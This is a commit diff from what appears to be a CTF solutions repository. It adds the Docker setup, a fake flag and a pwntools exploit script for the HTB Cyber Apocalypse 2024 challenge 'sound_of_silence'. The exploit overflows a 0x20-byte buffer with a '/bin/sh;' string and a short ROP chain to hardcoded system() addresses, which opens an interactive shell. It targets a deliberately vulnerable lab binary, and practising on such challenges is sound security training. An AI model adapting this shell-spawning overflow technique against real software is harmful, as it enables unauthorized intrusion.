changed repo structure

2024/htb_cyber_apocalypse/pwn/pwn_sound_of_silence/Dockerfile

@@ -0,0 +1,8 @@
+FROM alpine:latest
+RUN apk add --no-cache socat dash && ln -sf /usr/bin/dash /bin/sh
+EXPOSE 1337
+RUN addgroup -S ctf && adduser -S ctf -G ctf
+COPY challenge/ /home/ctf/
+WORKDIR /home/ctf
+USER ctf
+CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./sound_of_silence"]

2024/htb_cyber_apocalypse/pwn/pwn_sound_of_silence/build-docker.sh

@@ -0,0 +1,3 @@
+#!/bin/sh
+docker build --tag=sound_of_silence .
+docker run -it -p 1337:1337 --rm --name=sound_of_silence sound_of_silence

2024/htb_cyber_apocalypse/pwn/pwn_sound_of_silence/challenge/.gitignore

@@ -0,0 +1 @@
+glibc

2024/htb_cyber_apocalypse/pwn/pwn_sound_of_silence/challenge/flag.txt

@@ -0,0 +1 @@
+HTB{f4k3_fl4g_4_t35t1ng}

2024/htb_cyber_apocalypse/pwn/pwn_sound_of_silence/exploit.py

@@ -0,0 +1,13 @@
+from pwn import remote, p64, pause, process
+
+system_addr = 0x401050
+set_rdi = 0x401169
+
+#with remote("localhost", 1337) as p:
+with process("challenge/sound_of_silence") as p:
+    p.recvuntil(b">> ")
+    pause()
+    payload = b"/bin/sh;"
+    payload += b"A" * (0x20 - len(payload)) + p64(0) + p64(set_rdi) + p64(system_addr)
+    p.sendline(payload)
+    p.interactive()